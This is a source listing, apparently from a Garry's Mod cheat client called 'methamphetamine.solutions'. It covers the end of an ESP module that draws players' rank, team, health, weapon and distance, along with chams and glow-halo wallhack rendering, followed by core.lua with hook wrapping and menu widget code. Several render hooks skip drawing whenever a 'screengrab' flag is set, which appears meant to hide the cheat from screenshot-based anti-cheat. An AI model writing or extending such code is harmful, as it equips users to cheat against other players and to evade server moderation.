323 | if methamphetamine.mods["ESP"].colortype["Rank"] == "Selected Color" then 324 | SetDrawColor( colors["Rank"] or color_white ) 325 | elseif methamphetamine.mods["ESP"].colortype["Rank"] == "Team Color" then 326 | SetDrawColor( teamcolor ) 327 | elseif methamphetamine.mods["ESP"].colortype["Rank"] == "Health Color" then 328 | SetDrawColor( healthcolor ) 329 | elseif methamphetamine.mods["ESP"].colortype["Rank"] == "Rainbow" then 330 | SetDrawColor( rainbow ) 331 | end 332 | local rankRenderType = methamphetamine.mods["ESP"].types["Rank"] 333 | local str = v:GetUserGroup() 334 | if rankRenderType == "Top" then 335 | local x = MinX - ((MinX-MaxX)/2) 336 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,1,4) 337 | surface.SetTextPos(x + offsetx,MinY-TOP_MARGIN-offsety) 338 | surface.DrawText(str) 339 | TOP_MARGIN = TOP_MARGIN + TEXT_MARGIN_INCREMENT 340 | elseif rankRenderType == "Left" then 341 | local x = MinX - 1 342 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,2,1) 343 | surface.SetTextPos(x + offsetx,MinY-LEFT_MARGIN+offsety) 344 | surface.DrawText(str) 345 | LEFT_MARGIN = LEFT_MARGIN - TEXT_MARGIN_INCREMENT 346 | elseif rankRenderType == "Right" then 347 | local x = MaxX + 1 348 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,0,1) 349 | surface.SetTextPos(x + offsetx,MinY-RIGHT_MARGIN+offsety) 350 | surface.DrawText(str) 351 | elseif rankRenderType == "Bottom" then 352 | local x = MinX - ((MinX-MaxX)/2) 353 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,1,0) 354 | surface.SetTextPos(x + offsetx,MaxY+BOTTOM_MARGIN+offsety) 355 | surface.DrawText(str) 356 | BOTTOM_MARGIN = BOTTOM_MARGIN + TEXT_MARGIN_INCREMENT 357 | end 358 | end 359 | if methamphetamine.mods["ESP"].enabled["Team"] then 360 | if methamphetamine.mods["ESP"].colortype["Team"] == "Selected Color" then 361 | SetDrawColor( colors["Team"] or color_white ) 362 | elseif methamphetamine.mods["ESP"].colortype["Team"] == "Team Color" then 363 | SetDrawColor( teamcolor ) 364 | elseif methamphetamine.mods["ESP"].colortype["Team"] == "Health Color" then 365 | SetDrawColor( healthcolor ) 366 | elseif methamphetamine.mods["ESP"].colortype["Team"] == "Rainbow" then 367 | SetDrawColor( rainbow ) 368 | end 369 | local teamRenderType = methamphetamine.mods["ESP"].types["Team"] 370 | local str = methamphetamine.GetTeamName(v:Team()) 371 | if teamRenderType == "Top" then 372 | local x = MinX - ((MinX-MaxX)/2) 373 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,1,4) 374 | surface.SetTextPos(x + offsetx,MinY-TOP_MARGIN-offsety) 375 | surface.DrawText(str) 376 | TOP_MARGIN = TOP_MARGIN + TEXT_MARGIN_INCREMENT 377 | elseif teamRenderType == "Left" then 378 | local x = MinX - 1 379 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,2,1) 380 | surface.SetTextPos(x + offsetx,MinY-LEFT_MARGIN+offsety) 381 | surface.DrawText(str) 382 | LEFT_MARGIN = LEFT_MARGIN - TEXT_MARGIN_INCREMENT 383 | elseif teamRenderType == "Right" then 384 | local x = MaxX + 1 385 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,0,1) 386 | surface.SetTextPos(x + offsetx,MinY-RIGHT_MARGIN+offsety) 387 | surface.DrawText(str) 388 | elseif teamRenderType == "Bottom" then 389 | local x = MinX - ((MinX-MaxX)/2) 390 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,1,0) 391 | surface.SetTextPos(x + offsetx,MaxY+BOTTOM_MARGIN+offsety) 392 | surface.DrawText(str) 393 | BOTTOM_MARGIN = BOTTOM_MARGIN + TEXT_MARGIN_INCREMENT 394 | end 395 | end 396 | if methamphetamine.mods["ESP"].enabled["Health [Txt]"] then 397 | if methamphetamine.mods["ESP"].colortype["Health [Txt]"] == "Selected Color" then 398 | SetTextColor( colors["Health [Txt]"] or color_white ) 399 | elseif methamphetamine.mods["ESP"].colortype["Health [Txt]"] == "Team Color" then 400 | SetTextColor( teamcolor ) 401 | elseif methamphetamine.mods["ESP"].colortype["Health [Txt]"] == "Health Color" then 402 | SetTextColor( healthcolor ) 403 | elseif methamphetamine.mods["ESP"].colortype["Health [Txt]"] == "Rainbow" then 404 | SetTextColor( rainbow ) 405 | end 406 | local healthRenderType = methamphetamine.mods["ESP"].types["Health [Txt]"] 407 | local str ="HP: "..v:Health() 408 | if healthRenderType == "Top" then 409 | local x = MinX - ((MinX-MaxX)/2) 410 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,1,4) 411 | surface.SetTextPos(x + offsetx,MinY-TOP_MARGIN-offsety) 412 | surface.DrawText(str) 413 | TOP_MARGIN = TOP_MARGIN + TEXT_MARGIN_INCREMENT 414 | elseif healthRenderType == "Left" then 415 | local x = MinX - 1 416 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,2,1) 417 | surface.SetTextPos(x + offsetx,MinY-LEFT_MARGIN+offsety) 418 | surface.DrawText(str) 419 | LEFT_MARGIN = LEFT_MARGIN - TEXT_MARGIN_INCREMENT 420 | elseif healthRenderType == "Right" then 421 | local x = MaxX + 1 422 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,0,1) 423 | surface.SetTextPos(x + offsetx,MinY-RIGHT_MARGIN+offsety) 424 | surface.DrawText(str) 425 | elseif healthRenderType == "Bottom" then 426 | local x = MinX - ((MinX-MaxX)/2) 427 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,1,0) 428 | surface.SetTextPos(x + offsetx,MaxY+BOTTOM_MARGIN+offsety) 429 | surface.DrawText(str) 430 | BOTTOM_MARGIN = BOTTOM_MARGIN + TEXT_MARGIN_INCREMENT 431 | end 432 | end 433 | if methamphetamine.mods["ESP"].enabled["Weapon"] then 434 | if methamphetamine.mods["ESP"].colortype["Weapon"] == "Selected Color" then 435 | SetTextColor( colors["Weapon"] or color_white ) 436 | elseif methamphetamine.mods["ESP"].colortype["Weapon"] == "Team Color" then 437 | SetTextColor( teamcolor ) 438 | elseif methamphetamine.mods["ESP"].colortype["Weapon"] == "Health Color" then 439 | SetTextColor( healthcolor ) 440 | elseif methamphetamine.mods["ESP"].colortype["Weapon"] == "Rainbow" then 441 | SetTextColor( rainbow ) 442 | end 443 | local weaponRenderType = methamphetamine.mods["ESP"].types["Weapon"] 444 | local str = IsValid(v:GetActiveWeapon()) and v:GetActiveWeapon():GetClass() or "NONE" 445 | if weaponRenderType == "Top" then 446 | local x = MinX - ((MinX-MaxX)/2) 447 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,1,4) 448 | surface.SetTextPos(x + offsetx,MinY-TOP_MARGIN-offsety) 449 | surface.DrawText(str) 450 | TOP_MARGIN = TOP_MARGIN + TEXT_MARGIN_INCREMENT 451 | elseif weaponRenderType == "Left" then 452 | local x = MinX - 1 453 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,2,1) 454 | surface.SetTextPos(x + offsetx,MinY-LEFT_MARGIN+offsety) 455 | surface.DrawText(str) 456 | LEFT_MARGIN = LEFT_MARGIN - TEXT_MARGIN_INCREMENT 457 | elseif weaponRenderType == "Right" then 458 | local x = MaxX + 1 459 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,0,1) 460 | surface.SetTextPos(x + offsetx,MinY-RIGHT_MARGIN+offsety) 461 | surface.DrawText(str) 462 | elseif weaponRenderType == "Bottom" then 463 | local x = MinX - ((MinX-MaxX)/2) 464 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,1,0) 465 | surface.SetTextPos(x + offsetx,MaxY+BOTTOM_MARGIN+offsety) 466 | surface.DrawText(str) 467 | BOTTOM_MARGIN = BOTTOM_MARGIN + TEXT_MARGIN_INCREMENT 468 | end 469 | end 470 | if methamphetamine.mods["ESP"].enabled["Distance"] then 471 | if methamphetamine.mods["ESP"].colortype["Distance"] == "Selected Color" then 472 | SetTextColor( colors["Distance"] or color_white ) 473 | elseif methamphetamine.mods["ESP"].colortype["Distance"] == "Team Color" then 474 | SetTextColor( teamcolor ) 475 | elseif methamphetamine.mods["ESP"].colortype["Distance"] == "Health Color" then 476 | SetTextColor( healthcolor ) 477 | elseif methamphetamine.mods["ESP"].colortype["Distance"] == "Rainbow" then 478 | SetTextColor( rainbow ) 479 | end 480 | local distanceRenderType = methamphetamine.mods["ESP"].types["Distance"] 481 | local str = "Distance: "..distance 482 | if distanceRenderType == "Top" then 483 | local x = MinX - ((MinX-MaxX)/2) 484 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,1,4) 485 | surface.SetTextPos(x + offsetx,MinY-TOP_MARGIN-offsety) 486 | surface.DrawText(str) 487 | TOP_MARGIN = TOP_MARGIN + TEXT_MARGIN_INCREMENT 488 | elseif distanceRenderType == "Left" then 489 | local x = MinX - 1 490 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,2,1) 491 | surface.SetTextPos(x + offsetx,MinY-LEFT_MARGIN+offsety) 492 | surface.DrawText(str) 493 | LEFT_MARGIN = LEFT_MARGIN - TEXT_MARGIN_INCREMENT 494 | elseif distanceRenderType == "Right" then 495 | local x = MaxX + 1 496 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,0,1) 497 | surface.SetTextPos(x + offsetx,MinY-RIGHT_MARGIN+offsety) 498 | surface.DrawText(str) 499 | elseif distanceRenderType == "Bottom" then 500 | local x = MinX - ((MinX-MaxX)/2) 501 | local offsetx,offsety = calculateTextOffSet(str,methamphetamine.default.font,1,0) 502 | surface.SetTextPos(x + offsetx,MaxY+BOTTOM_MARGIN+offsety) 503 | surface.DrawText(str) 504 | BOTTOM_MARGIN = BOTTOM_MARGIN + TEXT_MARGIN_INCREMENT 505 | end 506 | end 507 | 508 | 509 | 510 | ::skiprender:: 511 | end 512 | end) 513 | 514 | 515 | hook.Add( "PostDrawOpaqueRenderables", "methamphetamine.chams", function() 516 | if not methamphetamine then return end 517 | if methamphetamine.screengrab then return end 518 | if not methamphetamine.mods or not methamphetamine.mods.ESP or not methamphetamine.mods.ESP.enabled then return end 519 | 520 | if (methamphetamine.mods["ESP"].enabled["Chams [P.]"] ) then 521 | render.SetStencilWriteMask( 0xFF ) 522 | render.SetStencilTestMask( 0xFF ) 523 | render.SetStencilReferenceValue( 0 ) 524 | render.SetStencilCompareFunction( STENCIL_ALWAYS ) 525 | render.SetStencilPassOperation( STENCIL_KEEP ) 526 | render.SetStencilFailOperation( STENCIL_KEEP ) 527 | render.SetStencilZFailOperation( STENCIL_KEEP ) 528 | render.ClearStencil() 529 | render.SetStencilEnable( true ) 530 | render.SetStencilReferenceValue( 1 ) 531 | render.SetStencilCompareFunction( STENCIL_EQUAL ) 532 | render.SetStencilFailOperation( STENCIL_REPLACE ) 533 | 534 | local champcol = color_white 535 | for _, ent in ipairs( GetAllPlayers() ) do 536 | if not ent:Alive() then goto skipdrawing end 537 | if LocalPlayer():GetPos():DistToSqr( ent:GetPos() ) > methamphetamine.mods["ESP"].Range*methamphetamine.mods["ESP"].Range then goto skipdrawing end 538 | if methamphetamine.mods["ESP"].colortype["Chams [P.]"] == "Selected Color" then 539 | champcol = ( colors["Chams [P.]"] or color_white ) 540 | elseif methamphetamine.mods["ESP"].colortype["Chams [P.]"] == "Rainbow" then 541 | champcol = HSVToColor( (CurTime()*20)%360,1,1 ) 542 | end 543 | ent:DrawModel() 544 | ::skipdrawing:: 545 | end 546 | render.ClearBuffersObeyStencil( champcol.r,champcol.g,champcol.b, 255, false ) 547 | render.SetStencilEnable( false ) 548 | end 549 | 550 | if (methamphetamine.mods["ESP"].enabled["Chams [W.]"] or false) then 551 | render.SetStencilWriteMask( 0xFF ) 552 | render.SetStencilTestMask( 0xFF ) 553 | render.SetStencilReferenceValue( 0 ) 554 | render.SetStencilCompareFunction( STENCIL_ALWAYS ) 555 | render.SetStencilPassOperation( STENCIL_KEEP ) 556 | render.SetStencilFailOperation( STENCIL_KEEP ) 557 | render.SetStencilZFailOperation( STENCIL_KEEP ) 558 | render.ClearStencil() 559 | render.SetStencilEnable( true ) 560 | render.SetStencilReferenceValue( 1 ) 561 | render.SetStencilCompareFunction( STENCIL_EQUAL ) 562 | render.SetStencilFailOperation( STENCIL_REPLACE ) 563 | 564 | 565 | local champcol = color_white 566 | for _, ent in ipairs( GetAllPlayers() ) do 567 | ent = ent:GetActiveWeapon() 568 | if not IsValid( ent ) then goto skipdrawing end 569 | if LocalPlayer():GetPos():DistToSqr( ent:GetPos() ) > methamphetamine.mods["ESP"].Range*methamphetamine.mods["ESP"].Range then goto skipdrawing end 570 | if methamphetamine.mods["ESP"].colortype["Chams [W.]"] == "Selected Color" then 571 | champcol = ( colors["Chams [W.]"] or color_white ) 572 | elseif methamphetamine.mods["ESP"].colortype["Chams [W.]"] == "Rainbow" then 573 | champcol = HSVToColor( (CurTime()*20)%360,1,1 ) 574 | end 575 | ent:DrawModel() 576 | ::skipdrawing:: 577 | end 578 | render.ClearBuffersObeyStencil( champcol.r,champcol.g,champcol.b, 255, false ) 579 | render.SetStencilEnable( false ) 580 | 581 | end 582 | 583 | 584 | 585 | end ) 586 | 587 | addHook("PreDrawHalos","methamphetamine.halos",function() 588 | if not methamphetamine then return end 589 | if methamphetamine.screengrab then return end 590 | if not methamphetamine.mods or not methamphetamine.mods.ESP or not methamphetamine.mods.ESP.enabled then return end 591 | if not methamphetamine.mods["ESP"].enabled["Glow"] then return end 592 | 593 | 594 | for k , v in ipairs( GetAllPlayers() ) do 595 | if LocalPlayer():GetPos():DistToSqr( v:GetPos() ) > methamphetamine.mods["ESP"].Range*methamphetamine.mods["ESP"].Range then goto skipdrawing end 596 | local teamcolor = methamphetamine.GetTeamColor( v:Team() ) 597 | local healthcolor = Color( 255 * (1 - (v:Health() / v:GetMaxHealth())) , 255 * (v:Health()/v:GetMaxHealth()), 0 ) 598 | local rainbow = HSVToColor( (CurTime()*20)%360,1,1 ) 599 | local c = color_white 600 | if methamphetamine.mods["ESP"].colortype["Glow"] == "Selected Color" then 601 | c = ( colors.Glow or color_white ) 602 | elseif methamphetamine.mods["ESP"].colortype["Glow"] == "Team Color" then 603 | c = ( teamcolor ) 604 | elseif methamphetamine.mods["ESP"].colortype["Glow"] == "Health Color" then 605 | c = ( healthcolor ) 606 | elseif methamphetamine.mods["ESP"].colortype["Glow"] == "Rainbow" then 607 | c = ( rainbow ) 608 | end 609 | AddHalo( {v} , c ,0.1 , 0.1, 0.1,true, true ) 610 | ::skipdrawing:: 611 | end 612 | end) 613 | -------------------------------------------------------------------------------- /lua/core.lua: -------------------------------------------------------------------------------- 1 | --[[ 2 | ____ ______ _ __ 3 | / __ )__ __/ / / /_ _| | / /___ _________ 4 | / __ / / / / / / / / / / | /| / / __ `/ ___/ _ \ 5 | / /_/ / /_/ / / / / /_/ /| |/ |/ / /_/ / / / __/ 6 | /_____/\__,_/_/_/_/\__, / |__/|__/\__,_/_/ \___/ 7 | /____/ 8 | ]]-- 9 | 10 | 11 | methamphetamine = {} 12 | methamphetamine.configs = {} 13 | methamphetamine.mods = {} 14 | methamphetamine.friends = {} 15 | methamphetamine.entityesp = {} 16 | methamphetamine.teams = {} 17 | methamphetamine["colors"] = { 18 | ["border"] = Color(80,80,80), 19 | ["text"] = Color(179,179,179), 20 | ["disabledtext"] = Color(179,179,179), 21 | ["menubar"] = Color(30,30,30), 22 | ["background"] = Color(28,28,28), 23 | ["backgroundopaque"] = Color(25,25,25,170), 24 | ["hovered"] = Color(90,90,90), 25 | ["divider"] = Color(97,97,97), 26 | ["activebutton"] = Color(103,103,103), 27 | ["buttonidle"] = Color(46,46,46), 28 | ["activetoggle"] = Color(90,90,90), 29 | ["grip"] = Color(90,90,90), 30 | ["gripbackground"] = Color(37,37,37), 31 | ["backgroundmascot"] = Color(255,255,255,70) 32 | } 33 | include("essentials.lua") 34 | 35 | methamphetamine["default"] = { 36 | ["title"] = "methamphetamine.solutions", 37 | ["font"] = "methamphetamine.font", 38 | ["_font"] = "Raleway",--"Raleway", 39 | ["tickmat"] = Material("meth/tick.png"), 40 | ["outlinefont"] = "metamphetamine.font.outline" 41 | } 42 | 43 | local mascots = { 44 | ["zerotwo"] = Material("meth/mascots/zerotwo.png"), 45 | ["slavcat"] = Material("meth/mascots/bcat.png"), 46 | ["pepesquat"] = Material("meth/mascots/slavpepe.png"), 47 | ["obama"] = Material("meth/mascots/obama.png"), 48 | } 49 | methamphetamine["mascots"] = { -- may need some configuring for your resolution 50 | ["active"] = "obama", 51 | ["zerotwo"] = { 52 | mat = mascots["zerotwo"], 53 | x = ScrW() - mascots["zerotwo"]:Width() * 0.6, 54 | y = ScrH() - mascots["zerotwo"]:Height()*0.6, 55 | w = mascots["zerotwo"]:Width() * 0.6, 56 | h = mascots["zerotwo"]:Height() * 0.6, 57 | }, 58 | ["slavcat"] = { 59 | mat = mascots["slavcat"], 60 | x = ScrW() - mascots["slavcat"]:Width()*1.2, 61 | y = ScrH() - mascots["slavcat"]:Height()*1.2, 62 | w = mascots["slavcat"]:Width()*1.2, 63 | h = mascots["slavcat"]:Height()*1.4, 64 | }, 65 | ["pepesquat"] = { 66 | mat = mascots["pepesquat"], 67 | x = ScrW() - mascots["pepesquat"]:Width()*1, 68 | y = ScrH() - mascots["pepesquat"]:Height()*0.6, 69 | w = mascots["pepesquat"]:Width()*1, 70 | h = mascots["pepesquat"]:Height()*1, 71 | }, 72 | ["obama"] = { 73 | mat = mascots["obama"], 74 | x = ScrW() - mascots["obama"]:Width()*0.2 , 75 | y = ScrH() - mascots["obama"]:Height()*0.2, 76 | w = mascots["obama"]:Width()*0.2, 77 | h = mascots["obama"]:Height()*0.2, 78 | } 79 | } 80 | 81 | methamphetamine.DebugLogs = {} 82 | methamphetamine.Log = function (text) 83 | local tbl = {text = text,time = os.time(), id = #methamphetamine.DebugLogs + 1} 84 | table.insert( methamphetamine.DebugLogs , tbl ) 85 | if #methamphetamine.DebugLogs > 200 then 86 | table.remove( methamphetamine.DebugLogs ) 87 | end 88 | hook.Run("methamphetamine.log", tbl ) 89 | end 90 | 91 | hook._add = hook._add or hook.Add 92 | function hook.Add( x , y , z ) 93 | if methamphetamine.Log then methamphetamine.Log("Hook Added\n["..x.."] ".. tostring(y) ) end 94 | return hook._add(x,y,z) 95 | end 96 | 97 | surface.CreateFont( methamphetamine.default.font , { 98 | font = methamphetamine.default._font, 99 | size = 15, 100 | weight = 150, 101 | }) 102 | 103 | 104 | 105 | local panelMetaTable = FindMetaTable("Panel") 106 | function panelMetaTable:MethToolTip( text ) 107 | self._hasToolTip = true 108 | self.OnCursorEntered = function(self) 109 | print("Entered") 110 | self._tooltip = vgui.Create("DPanel") 111 | print( self._tooltip ) 112 | local x,y = input.GetCursorPos() 113 | self._tooltip:SetPos( x+20,y ) 114 | self._tooltip.isTooltip = true 115 | self._tooltip:SetSize(1000,1000) 116 | self._tooltip:SetKeyboardInputEnabled( true ) 117 | self._tooltip:MakePopup() 118 | self._tooltip.markup = markup.Parse(""..text.."") 119 | self._tooltip.Paint = function(pnl,w,h) 120 | surface.SetDrawColor( methamphetamine.colors.background ) 121 | surface.DrawRect(0,0,w,h) 122 | surface.SetDrawColor( methamphetamine.colors.border ) 123 | surface.DrawOutlinedRect( 0,0,w,h ) 124 | pnl.markup:Draw(15 , 7 , 0 , 0 ) 125 | end 126 | self._tooltip.Think = function(pnl) 127 | if not self:IsHovered() then pnl:Remove() end 128 | end 129 | self._tooltip.PerformLayout = function(pnl,w,h) 130 | self._tooltip:SetSize( pnl.markup:GetWidth() + 30 , pnl.markup:GetHeight() + 15 ) 131 | end 132 | end 133 | 134 | self.OnCursorExited = function(pnl) 135 | if IsValid( self._tooltip ) then 136 | self._tooltip:Remove() 137 | print("Removed!") 138 | end 139 | end 140 | 141 | self.OnCursorMoved = function(pnl) 142 | if not IsValid(self._tooltip) then return end 143 | local x,y = input.GetCursorPos() 144 | self._tooltip:SetPos( x+20 , y ) 145 | end 146 | end 147 | 148 | function panelMetaTable:ConfigUpdate(func) 149 | local s = debug.getinfo(2).source 150 | methamphetamine.Log("Use of deprecated function at\n".. s ) 151 | end 152 | 153 | function panelMetaTable:Configure( ... ) 154 | if not ispanel(self) then 155 | PrintTable( debug.getinfo(2) ) 156 | print( 157 | [[ 158 | /////////////////// 159 | // INVALID PANEL // 160 | /////////////////// 161 | ]] ) 162 | return 163 | end 164 | local tbl = {...} 165 | hook.Add("methamphetamine.configLoaded",self,function( mods ) 166 | if not IsValid(self) then 167 | hook.Remove("methampheteamine.configLoaded",self) 168 | return 169 | end 170 | local str = "methamphetamine.mods" 171 | local index = methamphetamine.mods 172 | for k , v in ipairs(tbl) do 173 | if not index then 174 | print("Invalid index!\t".. str ) 175 | return 176 | end 177 | str = str .. "[".. tostring(v) .. "]" 178 | index = index[v] 179 | end 180 | -- if type(index) == "boolean" then 181 | -- if self.SetState then 182 | -- self:SetState(index) 183 | -- end 184 | -- elseif type(index) == "string" then 185 | -- if self. 186 | -- end 187 | if self.SetState then 188 | self:SetState(index or false) 189 | elseif self.SetValue then 190 | self:SetValue(index) 191 | elseif self.SetColor then 192 | if istable(index) then 193 | print("SS") 194 | PrintTable( index ) 195 | print("ZZ") 196 | self:SetColor( Color( index.r,index.g,index.b,index.a ) ) 197 | else 198 | methamphetamine.Log("[ERROR] SETTING COLOR NOT TABLE: " .. tostring(index) ) 199 | end 200 | end 201 | 202 | end) 203 | end 204 | 205 | 206 | local PANEL = {} 207 | 208 | AccessorFunc(PANEL, "m_max", "Max") 209 | AccessorFunc(PANEL, "m_min", "Min") 210 | AccessorFunc(PANEL, "m_sliderHeight", "Height") 211 | 212 | function PANEL:Init() 213 | self.floor = true 214 | self:SetText("") 215 | 216 | self:SetMin(0) 217 | self:SetMax(180) 218 | self:SetHeight(2.5) 219 | --self:SetColor(methamphetamine.colors.border) 220 | self.fraction = 0 221 | 222 | self.grip = vgui.Create("DButton", self) 223 | self.grip:SetText("") 224 | 225 | self.grip.xOffset = 0 226 | self.grip.startSize = self:GetHeight() * 4 227 | self.grip.size = self.grip.startSize 228 | self.grip.outlineSize = self.grip.startSize 229 | self.grip.Paint = function(pnl, w, h) 230 | surface.SetDrawColor(methamphetamine.colors.grip) 231 | surface.DrawRect(2,2,w-4,h-4) 232 | end 233 | 234 | self.grip.OnMousePressed = function(pnl) 235 | pnl.Depressed = true 236 | pnl:MouseCapture(true) 237 | end 238 | self.grip.OnMouseReleased = function(pnl) 239 | pnl.Depressed = nil 240 | pnl:MouseCapture(false) 241 | end 242 | self.grip.OnCursorMoved = function(pnl, x, y) 243 | if (!pnl.Depressed) then return end 244 | local x, y = pnl:LocalToScreen(x, y) 245 | x, y = self:ScreenToLocal(x, y) 246 | local w = self:GetWide() 247 | local newX = math.Clamp(x / w, 0, 1) 248 | self.fraction = newX 249 | self:OnValueChanged(self.fraction) 250 | self:InvalidateLayout() 251 | end 252 | self.grip:SetWide(self.grip.startSize * 2) 253 | end 254 | 255 | function PANEL:OnMousePressed() 256 | local x, y = self:CursorPos() 257 | local w = self:GetWide() + (self:GetHeight() * 2) 258 | local newX = math.Clamp(x / w, 0, 1) 259 | 260 | self.fraction = newX 261 | self:OnValueChanged(self.fraction) 262 | self:InvalidateLayout() 263 | end 264 | function PANEL:SetValue( x ) 265 | self.fraction = math.Clamp(x/self:GetMax(),0,1) 266 | end 267 | function PANEL:SetRound( bool ) 268 | self.floor = tobool(bool) 269 | end 270 | function PANEL:OnValueChanged(fraction,val) end 271 | 272 | function PANEL:Paint(w, h) 273 | local height = self:GetHeight() 274 | local y = h / 2 - height / 2 275 | surface.SetDrawColor(methamphetamine.colors.buttonidle) 276 | surface.DrawRect(0,0,w,h) 277 | local width = self.fraction * w 278 | draw.SimpleText( self.floor and math.floor(self.fraction * self:GetMax()) or string.format("%.3f",self.fraction*self:GetMax()), methamphetamine.default.font,w/2,h/2,methamphetamine.colors.text,1,1 ) 279 | end 280 | 281 | function PANEL:PerformLayout(w, h) 282 | self.grip:SetTall(h,h) 283 | self.grip:SetPos(self.fraction * (w - self.grip.size*2) ) 284 | end 285 | 286 | vgui.Register( "methamphetamine.slider", PANEL, "DButton" ) 287 | 288 | 289 | 290 | local PANEL = {} 291 | function PANEL:Init() 292 | local cx,cy = input.GetCursorPos() 293 | self:SetText("Default Text") 294 | self:SetFont(methamphetamine.default.font) 295 | self:SetTextColor(methamphetamine.colors.text) 296 | self._menu = vgui.Create("methamphetamine.panel") 297 | -- self._menu.Think = function(pnl) 298 | -- if not (methamphetamine.master:IsVisible()) then 299 | -- pnl:SetVisible(false) 300 | -- end 301 | -- end 302 | self._menu.OnFocusChanged = function(pnl,gained) 303 | if gained then return end 304 | timer.Simple(0,function() 305 | local panel = vgui.GetKeyboardFocus() 306 | if not IsValid( panel ) then return end 307 | if panel.isTooltip or panel == pnl or self.boolops[panel] or panel == self._menu then return end 308 | pnl:SetVisible( false ) 309 | end) 310 | end 311 | self._menu:SetPos(cx+1,cy+1) 312 | self._menu:SetSize(240,225) 313 | self._menu:MakePopup() 314 | self._menu:DockPadding(8,8,8,8) 315 | self._menu:SetVisible(false) 316 | self.ops = {} 317 | self.oplen = 0 318 | self.boolops = {} 319 | end 320 | 321 | function PANEL:SetLabel( text ) 322 | self:SetText( text ) 323 | self:SetFont(methamphetamine.default.font) 324 | self:SizeToContentsX(10) 325 | end 326 | 327 | function PANEL:DoClick() 328 | if IsValid(self._menu) then 329 | self._menu:SetVisible( not self._menu:IsVisible() ) 330 | local cx,cy = input.GetCursorPos() 331 | self._menu:SetPos(cx+1,cy+1) 332 | self._menu:MakePopup() 333 | return 334 | end 335 | end 336 | 337 | function PANEL:AddOption( name , data ) 338 | 339 | self.ops[name] = self._menu:Add( "Panel" ) 340 | self.ops[name]:Dock(TOP) 341 | self.ops[name]:DockMargin(0,1,0,1) 342 | self.ops[name]:SetTall(20) 343 | self.ops[name].content = self.ops[name]:Add( data.panel ) 344 | self.boolops[self.ops[name].content] = true 345 | self.boolops[self.ops[name]] = true 346 | if data.panel == "methamphetamine.checkbox" then 347 | self.ops[name].content:Dock(LEFT) 348 | self.ops[name].content:SetWide(20) 349 | self.ops[name].content:SetLabel( data.text ) 350 | self.ops[name].content.OnToggle = data.OnToggle 351 | end 352 | if data.panel == "methamphetamine.slider" then 353 | self.ops[name].content:Dock(TOP) 354 | self.ops[name].content:SetTall(20) 355 | --self.ops[name].content:SetLabel( data.text ) 356 | self.ops[name].content:SetMax( data.max ) 357 | self.ops[name].content.OnValueChanged = data.OnValueChanged 358 | end 359 | if data.tooltip then 360 | self.ops[name].content:MethToolTip( data.tooltip ) 361 | end 362 | --print("\n\n\n\n\n".. tostring(data.ConfigUpdate) .. "\n\n\n\n\n") 363 | self.ops[name].content.ConfigUpdate = data.ConfigUpdate 364 | self.oplen = self.oplen + 1 365 | self._menu:SetTall( math.max(self.oplen * 22 + 16,20) ) 366 | end 367 | 368 | function PANEL:Paint(w,h) 369 | surface.SetDrawColor(self:IsHovered() and methamphetamine.colors.hovered or methamphetamine.colors.border) 370 | surface.DrawRect(0,0,w,h) 371 | 372 | end 373 | vgui.Register("methamphetamine.miscdrop",PANEL,"DButton") 374 | 375 | local PANEL = {} 376 | local downarrowmat = Material("meth/down-arrow.png") 377 | function PANEL:Init() 378 | self.m_HideDiamond = false 379 | self:SetFont( methamphetamine.default.font ) 380 | self:SetTextColor( color_transparent ) 381 | self.m_DropdownXPos = 0 382 | self.m_DropdownYPos = 0 383 | self.m_Choices = {} 384 | end 385 | function PANEL:Paint(w,h) 386 | surface.SetDrawColor( self:IsHovered() and methamphetamine.colors.activebutton or methamphetamine.colors.buttonidle ) 387 | surface.DrawRect(0,0,w,h) 388 | if not self.m_HideDiamond then 389 | surface.SetDrawColor( methamphetamine.colors.activebutton ) 390 | surface.DrawRect(w-h,0,h,h) 391 | surface.SetDrawColor(color_white) 392 | surface.SetMaterial(downarrowmat) 393 | surface.DrawTexturedRect(w-h + 3,3,h-6,h-6) 394 | end 395 | 396 | draw.SimpleText( self.value.name , methamphetamine.default.font, 6,h/2, methamphetamine.colors.text,0,1 ) 397 | end 398 | function PANEL:PerformLayout(w,h) 399 | local x,y = self:LocalToScreen() 400 | self.m_DropdownXPos = x 401 | self.m_DropdownYPos = y+h 402 | end 403 | function PANEL:AddChoice( name , onclick ) 404 | self.m_Choices[#self.m_Choices+1] = {} 405 | local choice = self.m_Choices[#self.m_Choices] 406 | choice.name = name 407 | choice.id = #self.m_Choices 408 | choice.onclick = onclick 409 | self:SetValue(1) 410 | end 411 | function PANEL:SetValue( int ) 412 | methamphetamine.Log("Setting value using var ".. tostring(int) ) 413 | if type(int) == "string" then 414 | for k , v in ipairs( self.m_Choices ) do 415 | if v.name == int then 416 | int = v.id 417 | break 418 | end 419 | end 420 | end 421 | if not self.m_Choices[int] then 422 | return methamphetamine.Log("Attempting to index nil value " ) 423 | end 424 | self:SetText( self.m_Choices[ int ].name ) 425 | self.value = self.m_Choices[int] 426 | end 427 | 428 | function PANEL:GetValue() 429 | return self.value.id 430 | end 431 | 432 | 433 | function PANEL:DoClick() 434 | if IsValid( self.DropDownPanel ) then 435 | self.DropDownPanel:Remove() 436 | return 437 | end 438 | self.DropDownPanel = vgui.Create("methamphetamine.panel") 439 | self.DropDownPanel:SetSize( self:GetWide() ,30 ) 440 | self.DropDownPanel:SetPos( self.m_DropdownXPos , self.m_DropdownYPos ) 441 | self.DropDownPanel:MakePopup() 442 | 